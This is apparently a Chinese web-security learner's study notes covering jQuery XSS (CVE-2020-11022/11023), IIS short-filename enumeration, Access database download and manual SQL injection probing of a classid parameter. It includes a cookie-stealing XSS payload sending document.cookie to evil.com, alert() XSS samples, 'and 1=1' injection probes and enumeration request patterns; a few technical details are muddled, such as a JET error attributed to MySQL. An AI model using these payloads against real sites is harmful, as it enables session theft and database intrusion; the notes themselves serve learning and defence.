  2. 👉 认为这是 HTML

  3. 👉 创建一个 <img> DOM 节点

  4. 👉 浏览器加载 src=x

  5. ❌ 加载失败

  6. 触发 onerror

  7. ❌ 执行 alert('XSS')

📌 攻击代码不是你"手动执行"的,而是"浏览器帮你执行的"


四、现实中的攻击场景(很重要)

假设你写了这种代码👇

$("#comment").html(userInput);

而攻击者输入的是:

<img src=x onerror=fetch('http://evil.com/'+document.cookie)>

结果:

  • 页面展示评论 ❌

  • 用户 cookie 被偷走 ✔

  • 你的网站变成 XSS 入口 ✔


五、那 CVE-2020-11022 / 11023 修了啥?

修复前

jQuery 信任 HTML 字符串

修复后(≥ 3.5.1)

jQuery:

  • 过滤危险属性

  • 不再自动执行某些内联事件

  • 减少 HTML 注入的"魔法行为"

⚠️ 但注意:不是 100% 防 XSS


六、为什么说用 text() 就安全?

❌ 危险写法(会解析 HTML)

$("#box").html(userInput);

✅ 安全写法(只当文本)

$("#box").text(userInput);

区别一眼看懂👇

输入内容 html() text()
<img onerror=alert(1)> 执行 JS ❌ 当文字显示 ✅

📌 text() = 浏览器不会把内容当 HTML


七、一句话版总结(考试 / 面试可用)

jQuery 老版本在解析 HTML 字符串时存在 XSS 风险,攻击者可通过构造带事件属性的标签执行恶意脚本,应升级至 3.5.1+ 并避免使用 html()/$(html) 处理不可信输入,优先使用 text()。
为啥同样的代码,在新版本 jQuery 里就"没用了"?

我直接给你结论 → 原理 → 对比,不绕。


一、一句话结论(先记住)

因为 jQuery 3.5.1+ 在把字符串转成 DOM 时,会"主动清洗危险 HTML",不再让浏览器自动执行那些恶意属性。


二、老版本 vs 新版本:核心差异

❌ 老版本(≤ 3.5.0)在干什么?

$("<img src=x onerror=alert(1)>")

老版本逻辑是:

  1. "这是 HTML,我信你"

  2. 原封不动丢给浏览器

  3. 浏览器创建 <img>

  4. src=x 加载失败

  5. 自动触发 onerror

  6. 💥 XSS 执行

👉 jQuery 完全不管 HTML 里有没有危险东西


✅ 新版本(≥ 3.5.1)在干什么?

jQuery 在内部多做了一步👇

字符串 HTML ↓ HTML 解析器 ↓ ❌ 过滤危险标签 / 属性 ↓ 安全 DOM

重点变化:

  • ❌ 移除 onerror / onclick / onload 等事件属性

  • ❌ 阻止某些可触发 JS 的解析路径

  • ❌ 修复了利用浏览器 HTML parser 的"怪癖行为"


三、用"人话"解释:为什么就不弹窗了?

同样这行代码👇

$("<img src=x onerror=alert(1)>")

新版 jQuery 实际生成的是👇

<img src="x">

或者:

<img>

📌 onerror 根本没进 DOM

所以:

  • 没有 onerror

  • 加载失败 ≠ 执行 JS

  • alert 自然"没用"


四、那是不是"彻底防 XSS 了"?❌

⚠️ 不是!这是重点

jQuery 的修复只是:

  • 🔒 修补自身解析漏洞

  • 不等于你可以随便插用户输入

下面这样依然危险

$("#box").html(userInput);

因为:

  • HTML 里不止 onerror

  • 还有 <svg> / <math> / <iframe> / href=javascript:

  • 还有浏览器差异

👉 jQuery 不可能帮你兜底所有 XSS


五、为什么官方还强调"用 text()"?

因为:

方法 浏览器行为
html() 解析 HTML
$(html) 创建 DOM
text() 当普通文本

text() 的逻辑是:

"<img onerror=alert(1)>" ↓ "&lt;img onerror=alert(1)&gt;"

📌 连"解析"这一步都没有


六、你可以这样理解(类比)

老 jQuery:

"你给我一段代码,我直接帮你跑。"

新 jQuery:

"我帮你删掉可能会爆炸的东西再跑。"

text():

"你给我啥,我原样当文字贴墙上。"


七、一句话安全总结(面试 / CTF 可用)

新版本 jQuery 通过在 HTML 解析阶段移除危险属性,阻止了特定 XSS 利用链,但仍不能替代安全编码,处理用户输入应使用 text() 或专门的 HTML sanitizer。

一、一句话结论(先给你吃颗定心丸)

jQuery 新版本不是"不让你用",而是:
👉「默认不信任字符串 HTML」,但允许你"明确声明:我知道我在干什么"。

换句话说:
安全默认 + 你自己兜底 = 框架的正确姿势


二、你现在的矛盾点是什么?

你在想的是:

❓ 我就是要用 <img onerror=...> / <a onclick=...>

❓ 这是我业务逻辑的一部分

❓ 那 jQuery 凭什么给我删了?

这在 Web 安全史上 是个老问题👇

👉 "方便开发" vs "默认安全"


三、为什么 jQuery 选择"宁可删,也不默认放行"?

1️⃣ 因为 jQuery 根本分不清

$("<img onerror=xxx>")

是👇哪一种?

  • ✔ 你自己写的可信代码

  • ❌ 攻击者通过表单 / URL / API 注入的

⚠️ 字符串在 JS 里没有"来源标签"


2️⃣ jQuery 的用户太多了(历史包袱)

  • 老代码大量是:

    el.html(location.hash) el.html(responseText)

  • 一升级就被打成 XSS 漏洞

👉 所以官方策略是:

"默认行为必须安全,哪怕破坏一小部分旧用法"


四、那「真的需要」的时候怎么办?(重点)

✅ 正确姿势 1:自己创建 DOM,不靠字符串

$("<img>", { src: "x", onerror: function () { alert("ok"); } });

✔ 这个 不会被删

✔ 因为这是 JS 层面绑定事件 ,不是 HTML 注入

✔ 也是官方推荐方式


✅ 正确姿势 2:可信 HTML → 显式声明

const html = "<b>我确定这是安全的</b>"; $("#box").html(html);

📌 前提:不是用户输入


❌ 错误姿势(新版本故意不支持)

$("<img onerror=alert(1)>")

原因:

👉 内联事件 = XSS 的历史垃圾场


五、那如果我真的要插"富文本"呢?

这是非常常见的真实需求(评论、博客、Markdown)

正解不是 jQuery,而是:HTML Sanitizer

示例(DOMPurify)

const clean = DOMPurify.sanitize(userHtml); $("#box").html(clean);

✔ 你能保留 <b><img><a>

✔ 自动去掉 on*

✔ 还能配置白名单

📌 这是专业活,不是 jQuery 的职责


六、换个角度理解(很重要)

jQuery 的态度是:

❌ 不再鼓励:

"拼字符串 + 丢进 DOM"
✅ 鼓励:

  • JS 创建元素

  • JS 绑定事件

  • 专门工具处理富文本

这和你学过的:

  • Vue 不让你随便 v-html

  • React 默认不信任 dangerouslySetInnerHTML

同一套哲学


七、一句话终极总结(可以背)

jQuery 新版本通过限制字符串 HTML 的能力,强制区分"结构"和"行为",避免内联事件造成的 XSS;若确实需要动态行为,应通过 JS 事件绑定或专业的 HTML sanitizer 实现。

day32 asp.net

第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏_fyblog漏洞-CSDN博客

这种网站都很少了

这种数据库默认是在网站目录下可以访问的

1.解释

ACCESS数据库与常见的MySQL等数据库不同,它没有独立的管理账号密码,其核心架构由表名、列名(字段)和数据组成。这一特性导致在注入攻击中,通常需要通过字典猜解表名、列名,再进一步获取数据。虽然猜解过程相对直接,但可能因字典覆盖不全而出现猜解失败的情况。由于当前Access数据库的应用已较少,实际测试中多直接使用SQLMAP进行注入,其他手动猜解方法后续补充。

  • mdb后缀是Access数据库的典型标识;
  • 数据库的默认路径通常写在配置文件中,若未修改则可被利用。

ASP-默认安装-MDB 数据库泄漏下载

由于大部分ASP程序与ACCESS数据库搭建,但ACCESS无需连接

在==脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库==

提前固定好的数据库路径如默认未修改,

当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。

IIS 短文件漏洞核心原理

IIS 短文件漏洞的本质,是Windows 的 8.3 短文件名机制IIS 服务器的请求解析逻辑共同导致的敏感信息泄露漏洞,核心可以拆成 3 个关键点理解:

1. 根源:Windows 的 8.3 短文件名机制

早期 DOS 系统只支持8 个字符的文件名 + 3 个字符的扩展名 (简称 8.3 格式)。为了兼容老旧程序,Windows 会自动给长文件名 生成对应的8.3 短文件名,规则如下:

  • 取长文件名的前 6 个字符,后面加 ~1(如果有重名,数字依次递增,如~2~3
  • 扩展名保留前 3 个字符
  • 所有字母自动转为大写

举个例子

长文件名 对应的 8.3 短文件名
Web.config WEB.CON~1
database_backup_2026.sql DATAB~1.SQL
Admin_Login.aspx ADMIN_~1.ASP

在 Windows 系统中,用命令 dir /x 就能查看文件的短文件名。

2. 关键:IIS 对~请求的特殊解析逻辑

IIS(Windows 自带的 Web 服务器)在处理 HTTP 请求时,存在一个设计缺陷:

  • 当请求的 URL 中包含 ~ 时,IIS 会优先按照 8.3 短文件名规则去匹配服务器上的文件,而不是当作普通的长文件名请求处理。
  • 更关键的是,即使这个短文件名对应的长文件是不允许外部访问的 (比如web.config默认禁止浏览器直接访问),IIS 也会返回特殊的响应状态。

3. 漏洞利用:通过枚举猜解敏感文件名

攻击者正是利用 IIS 的这个解析特性,通过枚举请求的方式,一步步猜解出服务器上的敏感文件,流程如下:

  1. 构造枚举请求 :攻击者向目标 IIS 服务器发送一系列包含~1的请求,比如:
    • http://目标IP/WEB~1
    • http://目标IP/DATAB~1.SQL
  2. 判断文件是否存在 :通过对比 IIS 返回的响应状态,区分 "文件存在" 和 "文件不存在" 的情况:
    • 文件不存在 :返回标准的404 Not Found,且响应头的Content-Length是固定值(比如 1245、1293)。
    • 文件存在 :可能返回403 Forbidden(文件存在但禁止访问),或者返回404Content-Length和标准值不同。
  3. 还原长文件名 :一旦发现某个短文件名请求返回了 "存在" 的特征响应,攻击者就可以根据 8.3 规则,反向推断出对应的长文件名(比如WEB.CON~1Web.config)。

4. 漏洞危害

攻击者通过这个漏洞,能获取到网站根目录下本不该对外暴露的敏感文件名称,比如:

  • 网站配置文件:web.config(包含数据库连接密码、网站权限等核心信息)
  • 数据库文件:*.mdf*.ldf(数据库的物理文件)
  • 后台管理页面:Admin.aspxLogin.aspx等这些信息会成为后续进一步攻击的跳板。

补充:为什么能指定路径扫描?

漏洞不仅能扫描网站根目录,还能扫描子路径(比如http://目标IP/admin/XXX~1),原理是一样的:只要目标子路径在 IIS 的解析范围内,攻击者就能通过构造子路径 + 短文件名的请求,枚举该路径下的文件。

IIS 短文件漏洞能够被利用,需要满足 5 个核心前置条件,缺少任意一个,漏洞都无法触发或利用,具体如下:

1. 系统环境:必须是 Windows 操作系统

漏洞的根源是 Windows 特有的 8.3 短文件名机制,Linux、Unix 等非 Windows 系统不存在该机制,因此只有部署在 Windows 服务器上的 IIS 才会存在此漏洞。

  • 常见受影响的 Windows 版本:Windows Server 2003/2008/2012,Windows 7/8 等(新版本 Windows 可手动关闭短文件名功能)。

2. 核心开关:Windows 短文件名功能已启用

Windows 生成 8.3 短文件名的功能(NTFS 8.3 Name Creation)必须处于开启状态,这是漏洞的基础。

  • 默认状态:Windows Server 2003 及更早版本默认开启;Windows Server 2008 及以后版本,部分场景默认关闭,但可通过注册表手动开启。
  • 验证方法 :在服务器上执行命令 fsutil 8dot3name query,返回 启用 则代表功能开启。

3. Web 服务器:必须是 IIS 且版本存在解析缺陷

漏洞的触发依赖 IIS 对 ~ 字符的特殊解析逻辑,其他 Web 服务器(如 Nginx、Apache)完全不具备该解析行为,因此不受影响。

  • 受影响的 IIS 版本:IIS 5.0、6.0、7.0、7.5 是高危版本;IIS 8.0 及以上版本,微软已修复部分解析缺陷,默认配置下漏洞利用难度大幅提升。

4. 文件前提:目标路径存在「长文件名」的文件 / 文件夹

短文件名是 Windows 为长文件名自动生成的 ,如果目标路径下的文件都是 8.3 格式的短文件名(如 test.txtdata.mdf),则不会生成额外的短名,漏洞无利用对象。

  • 「长文件名」的判定:文件名长度超过 8 字符 扩展名长度超过 3 字符。
  • 举例:Web.config(文件名 3 字符,但扩展名 6 字符,属于长文件名)→ 生成短名 WEB.CON~1database_backup.sql(文件名 14 字符)→ 生成短名 DATAB~1.SQL

5. 配置前提:IIS 未拦截含 ~ 字符的 HTTP 请求

管理员未对 IIS 做针对性的防御配置,否则攻击者的枚举请求会被直接阻断:

  • 未配置 请求过滤规则 拦截包含 ~ 的 URL(若拦截 ~,则攻击者发送的 /WE~1.CON 这类请求会被 IIS 直接拒绝);
  • 目标文件 / 文件夹未被 IIS 完全屏蔽(至少 IIS 能识别到文件存在,才会返回 403 / 特殊 404 响应;若文件完全不可见,会返回标准 404)。

补充:通用前提 - 网络可达

攻击者能够与目标 IIS 服务器建立 HTTP 连接(即目标服务器的 80/443 等 Web 端口对外开放),否则无法发送枚举请求。

其实直接看到window server 加iis直接测试就好了,有就有,没有就算

IIS 短文件是"低成本高回报"的信息收集点,实战中直接试探即可,没结果立刻止损,不需要纠结前置条件。

使用工具:

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析

这些一般老系统才有了,

ASP-SQL注入-SQLMAP使用&ACCESS注入

ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,

所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况

Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他。

SQL 注入是:程序把「用户可控输入」直接拼接进 SQL 语句的结构部分,导致攻击者能改变原本的查询语义。

没想到把,这里还有不清晰的地方。其实也许之前就是只学了利用手法。

这里类型错误导致,这里

图片这里明显报错了,说明他接受了,但是可能是代码逻辑设置的,代码逻辑校验的话应该显示的是数据类型不对,但是这里明显是数据库层面的错误了。

不对,他是数字型的然后是查询,判断有没有sql注入用

and 1=1 页面不变

and 1=2 页面没数据了

页面显示 "语法错误(操作符丢失)在查询表达式 'classid=3dsad' 中",结合请求 URL Pic.asp?classid=3dsad

3dsad 不是合法数字,MySQL 解析时会把 3dsad 当成 "列名"(而非数值),因此报 "操作符丢失" 的语法错误 ------ 这一现象证明了「后端直接拼接用户输入到 SQL 中」,而 "直接拼接" 正是 SQL 注入的根本成因

  • 图片中的语法错误虽不能单独作为注入的最终依据,但能证明「后端未做参数校验 + 直接拼接 SQL」------ 这两个特征叠加,结合你用 and 1=1/1=2 的测试结果,足以确定存在 SQL 注入漏洞;
  • 补充:若后端做了参数校验(比如强制转数字),输入 3dsad 会被转为 3,不会报语法错误;若用了预编译,也不会出现拼接导致的语法问题。

页面报错:

语法错误(操作符丢失)在查询表达式 'classid=3dsad' 中

Microsoft JET Database Engine

这说明什么?

✅ 至少可以确定 3 件事:

  1. classid 被直接拼接进 SQL

  2. classid 本来是"数字型参数"

  3. 没有做参数校验 / 预编译 / 错误处理

👉 因为如果是:

  • 预编译 → 不会有 SQL 语法错误

  • 强类型校验 → 3dsad 会被拦截

  • try/catch → 不会把数据库错误直接抛页面

⚠️ 这一点本身就已经是"注入前置条件成立"

你总结的这 3 个结论非常精准!数据库错误直接抛到前端页面,不只是 "界面不美观",更是后端代码在参数处理、SQL 安全、异常管控上都存在严重问题的 "直接证据"。下面用最通俗的语言拆解每个结论的底层逻辑,结合你的场景(classid 参数)讲清楚:

一、为什么能确定「classid 被直接拼接进 SQL」?

数据库错误的核心是「SQL 语法解析失败」,而语法错误的根源是用户输入的参数直接变成了 SQL 语句的一部分------ 如果参数不是直接拼接,而是通过 "预编译 / 参数化" 传递,永远不会出现 "SQL 语法错误"。

举个对比例子(结合你的场景):

❶ 直接拼接(你遇到的情况)

后端代码(ASP/VBScript):

asp

复制代码
' 直接拿用户输入的classid,拼到SQL里
classid = Request("classid") 
sql = "SELECT * FROM 表名 WHERE classid=" & classid 
' 当输入classid=3dsad时,SQL变成:
' SELECT * FROM 表名 WHERE classid=3dsad

MySQL 解析这个 SQL 时,会把3dsad当成 "列名"(而非数字),导致 "操作符丢失" 的语法错误 ------ 这个错误能直接证明:用户输入的3dsad被原封不动拼进了 SQL 语句,成为了 SQL 的一部分。

❷ 非拼接(预编译 / 参数化)

如果后端用预编译,代码逻辑是:

asp

复制代码
' 预编译:SQL模板和参数分开
sql = "SELECT * FROM 表名 WHERE classid=?" 
' 先编译SQL模板,再单独传参数值
pstmt = conn.prepareStatement(sql)
pstmt.setInt(1, Request("classid")) ' 仅传参数值,不拼SQL

此时哪怕输入3dsad,也只会报「参数类型不匹配(字符串转数字失败)」,而不会报 SQL 语法错误------ 因为参数是 "独立传递" 的,永远不会破坏 SQL 的语法结构。

→ 结论:只要前端能看到「SQL 语法错误」,就 100% 证明参数被直接拼接进了 SQL。

二、为什么能确定「classid 本来是数字型参数」?

报错信息里的classid=3dsad语法错误,反推就能确定 classid 是数字型参数:

  • 如果 classid 是字符串型参数 ,后端写 SQL 时会给参数加单引号(比如where classid='参数'),此时输入3dsad,拼接后的 SQL 是where classid='3dsad'------ 单引号包裹的字符串是合法语法,不会报错;
  • 但实际报错了,说明后端写 SQL 时没加单引号 (默认 classid 是数字),比如where classid=参数,输入3dsad后变成where classid=3dsad------ 无单引号的3dsad不是合法数字,才会触发语法错误。

→ 结论:无单引号导致的语法错误,直接证明 classid 是数字型参数。

三、为什么能确定「没有做参数校验 / 预编译 / 错误处理」?

正常的生产级代码,只要做了其中一项,就不会把数据库错误直接抛到页面 ------ 下面逐个解释:

❶ 没有做「参数校验(强类型)」

如果后端做了 "数字型参数校验",代码会这样写:

复制代码
' 强类型校验:强制把classid转成整数
classid = CInt(Request("classid")) ' 尝试转成整数
' 如果输入3dsad,CInt函数会直接报错,不会走到拼接SQL的步骤

此时输入3dsad,会在 "参数校验阶段" 就被拦截(比如返回 "参数格式错误"),根本不会拼进 SQL、不会触发数据库错误。

→ 你能看到数据库错误,说明参数没经过任何类型校验,直接传到了 SQL 拼接步骤。

❷ 没有做「预编译 / 参数化查询」

前面已经讲过:预编译的核心是 "SQL 模板和参数分离",参数再乱也只会报「参数类型错误」,不会报「SQL 语法错误」;而你看到的是 SQL 语法错误,说明完全没用到预编译。

❸ 没有做「错误处理(try/catch)」

正常的后端代码,都会用try/catch(ASP 里是On Error Resume Next+ 异常捕获)捕获数据库异常,避免原始错误暴露:

复制代码
On Error Resume Next ' 开启异常捕获
conn.Execute(sql) ' 执行SQL
If Err.Number <> 0 Then ' 如果有异常
    Response.Write("请求失败,请稍后重试") ' 返回友好提示
    ' 把错误日志写到服务器本地(比如log文件),不暴露给用户
    WriteLog("SQL执行失败:" & Err.Description)
    Err.Clear()
End If

如果做了这种错误处理,你看到的只会是 "请求失败",而不是原始的数据库语法错误 ------ 你能看到完整的数据库错误,说明后端完全没做异常捕获,错误直接穿透到了前端。

总结(核心要点)

  1. 数据库错误直接抛页面 → 后端无异常管控 ,且参数直接拼接进 SQL
  2. 出现 SQL 语法错误 → 无预编译,且参数是数字型(无单引号)
  3. 非数字参数触发语法错误 → 无参数强类型校验;
  4. 这些问题叠加,就是 SQL 注入漏洞的 "完美温床"------ 你用and 1=1/1=2验证出注入,和这个错误暴露的问题是完全对应的。

这个问题的核心是MySQL 的 SQL 语法解析规则 :在 SQL 中,"值" 的表示需要遵循明确的格式,而1vada不符合 "值" 的格式要求,因此被 MySQL 识别为 "列名"(标识符)。

具体逻辑拆解

SQL 中 "值" 的格式规则分为两种,1vada都不满足:

  1. 数值型值 :必须是纯数字(如1123),而1vada包含字母vada,不是合法的数值;
  2. 字符串型值 :必须用单引号(')包裹(如'1vada'),而1vada没有加引号,不被识别为字符串。

当一个内容既不是 "合法数值",又不是 "带引号的字符串" 时,MySQL 会默认将其解析为标识符 (即列名、表名等数据库对象的名称)------ 所以1vada被当作 "列名" 处理,但你的表中并没有名为1vada的列,因此报错Unknown column '1vada'

对比正确写法

  • 如果1vada字符串值 ,需要加单引号:

    sql

    复制代码
    select * from new where id='1vada'; -- 此时'1vada'被当作字符串值
  • 如果1vada数值 ,必须写成纯数字(如1):

    sql

    复制代码
    select * from new where id=1; -- 1是合法数值,当作值处理

理解 MySQL 执行 SQL 的全流程,就能彻底搞懂1vada为啥被当成列名,以及错误到底出在哪个环节。

首先明确核心结论:1vada被判定为列名,发生在语法分析(Parse)阶段 (也就是你说的 "识别阶段");而最终抛出Unknown column '1vada'错误,是在预处理阶段。下面用 "人话 + 你的场景" 拆解 MySQL 执行 SQL 的完整 6 个阶段,每个阶段的作用和你的错误关联都讲清楚:

MySQL 执行 SQL 的完整生命周期(从输入语句到返回结果)

把这个流程比作 "写作文 + 批改 + 执行",每个阶段的核心作用和你的错误关联如下:

阶段 通俗理解 核心作用 你的select * from new where id=1vada场景
1. 词法分析(Lexical Analysis) 拆字(把整句话拆成单个 "词语") 将 SQL 语句拆成最小的 "词法单元(Token)",比如关键字、运算符、标识符、值等,只拆不判对错 把语句拆成:SELECT(关键字)、*(通配符)、FROM(关键字)、new(表名)、WHERE(关键字)、id(列名)、=(运算符)、1vada(未知字符序列)。此时1vada只是 "一串字符",还没判定是列名还是值。
2. 语法分析(Syntax Analysis/Parse) 拼句子 + 定角色(按语法规则判断每个 "词语" 的角色) 基于词法单元拼接成 "语法树",按 SQL 语法规则判定每个 Token 的类型(是值?列名?表名?),校验语法结构是否合法 关键步骤:① id是列名(标识符),=是比较运算符,运算符右边必须是 "值" 或 "另一个标识符" ;② 1vada既不是合法数值(含字母),也不是带引号的字符串(无单引号),不满足 "值" 的规则;③ 因此 MySQL 只能按语法规则,把1vada判定为 "标识符(列名)";④ 这个阶段只判 "角色",不查 "这个列是否真的存在"(比如只判定1vada是列名,但不管new表有没有这个列)。
3. 预处理(Preprocessing) 验真假(查判定的 "角色" 是否真的存在) 基于语法树做 2 件事:① 校验表名 / 列名等标识符是否真的存在于数据库;② 补全 SQL 隐含信息(比如把*展开成具体列名) 你的错误出在这:预处理阶段会去查new表中是否有1vada这个列 ------ 结果没有,因此直接抛出Unknown column '1vada' in 'where clause',SQL 执行流程在此终止,后面的阶段都不会执行。
4. 查询优化(Optimization) 选最优方案(比如走索引还是全表扫描) 优化器生成多个执行计划,选择 "成本最低" 的方案(比如查id=1时,判断是否走索引) 你的场景:预处理阶段已报错,这个阶段完全不执行。
5. 执行(Execution) 按方案干活(真正去数据库取数据) 执行器按优化后的计划,调用存储引擎(如 InnoDB)读取 / 修改数据 你的场景:未执行。
6. 返回结果(Result Return) 整理结果并返回 把执行拿到的数据整理成结果集,返回给客户端(DBeaver / 应用程序) 你的场景:未执行。

关键补充:为什么语法分析阶段不直接报错?

语法分析阶段只负责 "按规则判定角色",不负责 "查是否真的存在"------ 比如:

  • 你写select * from xxx where yyy=zzz,语法分析阶段会判定xxx是表名、yyy是列名、zzz是列名,只要语法结构没问题(比如select...from...where的顺序对),就会进入预处理阶段;
  • 只有预处理阶段,才会去数据库里查 "有没有 xxx 表?有没有 yyy 列?有没有 zzz 列?",没找到才会报错。

总结

  1. 1vada被当作列名:是语法分析阶段的判定(因为不符合 "值" 的格式,只能归为标识符);
  2. 最终报错Unknown column '1vada':是预处理阶段的校验结果(查数据库发现这个列不存在);
  3. 你的错误导致 SQL 在预处理阶段终止,优化、执行、返回结果这些后续阶段都没机会执行。

简单记:词法分析 "拆字"→语法分析 "定角色"→预处理 "验真假"→优化 "选方案"→执行 "干活"→返回 "交结果"。你的问题卡在 "定角色(错判为列名)→验真假(发现无此列)" 这两步。

mysql接收到SQL后第一步做什么_mysql执行入口解析-mysql教程-PHP中文网

一句话先给答案

因为 SQL 是一门"声明式查询语言",
= 这样的运算符,本质是在描述"两个可求值的东西是否相等"。

只有「值」和「能最终算出值的东西(标识符 / 表达式)」才有意义。


一、先退一步:SQL 中 = 到底是干嘛的?

在 SQL 里:

WHERE id = 3

不是在"执行代码",而是在描述一个条件

对每一行,判断:

👉 这一行的 id 的值,是否等于 某个可计算出的值

所以 = 两边,本质上必须满足一个条件:

都必须能在"某一行上下文中"算出一个确定值


二、什么东西"能算出值"?

在 SQL 的语义里,只有这几类东西:

1️⃣ 字面值(Literal)

最简单的:

id = 1 id = 'abc' id = 3.14

这些东西本身就是值


2️⃣ 标识符(Identifier)

也就是列名:

id = other_id

这里的 other_id 是什么?

👉 当前这一行里,other_id 这一列对应的值

所以它也是"能算出值的东西"。


3️⃣ 表达式(Expression)

id = 1 + 2 id = LENGTH(name) id = NOW()

虽然不是"直接的值",

数据库能在执行时算出一个值


三、那为什么不能是"随便一个字符串"?(比如 1vada)

看这句:

WHERE id = 1vada

站在 SQL 语言设计者的角度问一句:

1vada 是什么?

它:

  • 不是字面值(没引号)

  • 不是合法数字

  • 又长得像一个名字

那在 SQL 的世界里,只剩一种可能:

👉 它是一个"名字"------也就是标识符

而 SQL 里:

标识符 = 表名 / 列名 / 别名 / 函数名

所以解析器只能这样理解:

WHERE id = <column named 1vada>

然后进入下一步:

"这个列存在吗?"

不存在 → 报错


四、为什么 SQL 不能"猜它是值"?

你可能会想:

"数据库不能聪明点吗?

看起来像值就当值?"

不能,原因很硬核 👇


1️⃣ 语言必须无歧义

如果不加引号也能当字符串:

id = abc

那下面这句怎么解释?

id = name

  • 是字符串 'name'

  • 还是列 name

👉 会直接让语言变成不可解析的垃圾

所以 SQL 定了一个死规则

不加引号的东西,只可能是"标识符或关键字"


2️⃣ 这是 SQL 标准(不是 MySQL 任性)

在 SQL 标准(SQL-92 / SQL:2011)里:

  • Literal(字面量) → 必须有明确格式

  • Identifier(标识符) → 裸写

MySQL、PostgreSQL、SQL Server 都遵守这一点。


3️⃣ 这是为了让查询"可静态分析"

数据库在 执行前 要做这些事:

  • 校验列是否存在

  • 生成执行计划

  • 做权限检查

  • 做索引优化

👉 这些都要求:

在"不读数据"的情况下,就知道 SQL 的结构

如果右边可以是"模糊值",这些事全做不了。


五、为什么 '1vada' 又可以?

WHERE id = '1vada'

这里你明确告诉数据库

这是一个字符串字面量

于是流程变成:

  1. 语法解析:合法

  2. 执行阶段:

    • id 是 INT

    • '1vada' 是 STRING

    • → 类型转换

  3. 再做比较


六、用一句"程序语言类比"你会瞬间懂

把 SQL 当成一门"奇怪的编程语言":

if (id == 1vada) // ❌ 编译错误:未定义标识符 if (id == "1vada")// ✅ 合法 if (id == otherId)// ✅ 合法

是不是一模一样


七、这条规则为什么和 SQL 注入关系巨大?

因为:

id = 1 or 1=1

在解析阶段被理解为:

id = 1 OR (1=1)

👉 攻击者不是在"传值",

👉 而是在 构造一个合法的 SQL 表达式


八、最终一句总结(建议你记住)

SQL 中,运算符两边必须是"可被求值的表达式",
而"值"和"标识符"是最基本、最安全的两种。
不加引号的东西,数据库只能把它当成"名字",而不是"值"。

只要页面回显了数据库的 SQL 语法错误,并且错误中包含用户输入参与的表达式,
就可以确定:该参数没有使用预编译,而是直接拼接进 SQL。


二、为什么「用了预编译」就不可能出现你这个错误?

你现在看到的错误是:

语法错误(操作符丢失)在查询表达式 'classid=3dsad' 中 Microsoft JET Database Engine

注意两个点:

  1. 数据库在解析 SQL 结构

  2. 3dsad 被当成了 SQL 表达式的一部分

预编译的核心本质是什么?

SQL 结构和数据是分离的

SELECT * FROM pic WHERE classid = ?

数据库先做的事是:

  • 解析 SQL 结构(只解析一次)

  • 确定 classid = ? 是合法结构

之后:

  • 传入的 3dsad 只是"参数值"

  • 不会参与 SQL 语法解析

👉 所以无论传什么,都不可能出现:

  • "操作符丢失"

  • "SQL 语法错误在表达式 classid=xxx"

day29 好文章

第29天:安全开发-JS应用 - my-kon-blog

day30

第30天:安全开发-JS应用 - my-kon-blog

day31

突然发现

相关推荐
亲爱的非洲野猪2 小时前
如何安全关闭 IIS 的 HTTP 端口
网络·安全·http
weixin_446260852 小时前
解锁 React 开发新体验!Puck - 智能可视化编辑器
前端·react.js·编辑器
tan 912 小时前
KaliLinux2025.4 root用户修改显示语言
linux·服务器·前端·安全
Remember_9932 小时前
【数据结构】Java数据结构深度解析:栈(Stack)与队列(Queue)完全指南
java·开发语言·数据结构·算法·spring·leetcode·maven
小李子呢02112 小时前
Node.js
开发语言·前端·学习·node.js
鱼很腾apoc2 小时前
【实战篇】 第13期 算法竞赛_数据结构超详解(上)
c语言·开发语言·数据结构·学习·算法·青少年编程
期待のcode2 小时前
JVM 中对象进入老年代的时机
java·开发语言·jvm
渐雨朦胧眼2 小时前
网络安全之防御保护笔记
笔记·安全·web安全
心.c2 小时前
文件上传 - 入门篇
前端·javascript·vue.js·node.js·js